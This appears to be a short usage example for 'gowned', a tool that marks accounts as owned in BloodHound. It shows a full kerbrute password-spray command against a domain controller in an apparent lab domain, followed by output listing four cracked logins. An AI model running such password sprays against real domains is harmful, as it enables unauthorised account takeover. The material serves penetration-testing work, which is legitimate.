Mark users as owned in BloodHound from kerbrute output
$ kerbrute passwordspray list_of_users.txt --dc 192.168.30.51 --domain MARVEL.local 'P@ssword321' | gowned -source 'kerbrute' -output
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 03/08/24 - Ronnie Flathers @ropnop
2024/03/08 14:37:43 > Using KDC(s):
2024/03/08 14:37:43 > 192.168.30.51:88
2024/03/08 14:37:43 > [+] VALID LOGIN: [email protected]:P@ssword321
2024/03/08 14:37:43 > [+] VALID LOGIN: [email protected]:P@ssword321
2024/03/08 14:37:43 > [+] VALID LOGIN: [email protected]:P@ssword321
2024/03/08 14:37:43 > [+] VALID LOGIN: [email protected]:P@ssword321
2024/03/08 14:37:43 > Done! Tested 41 logins (4 successes) in 0.280 seconds
2024/03/08 14:37:43 Added [email protected] as owned
2024/03/08 14:37:43 Added [email protected] as owned
2024/03/08 14:37:43 Added [email protected] as owned
2024/03/08 14:37:43 Added [email protected] as owned
Note that is also possible to cat
a kerbrute output file, something like
$ cat temp.txt | gowned -source 'kerbrute'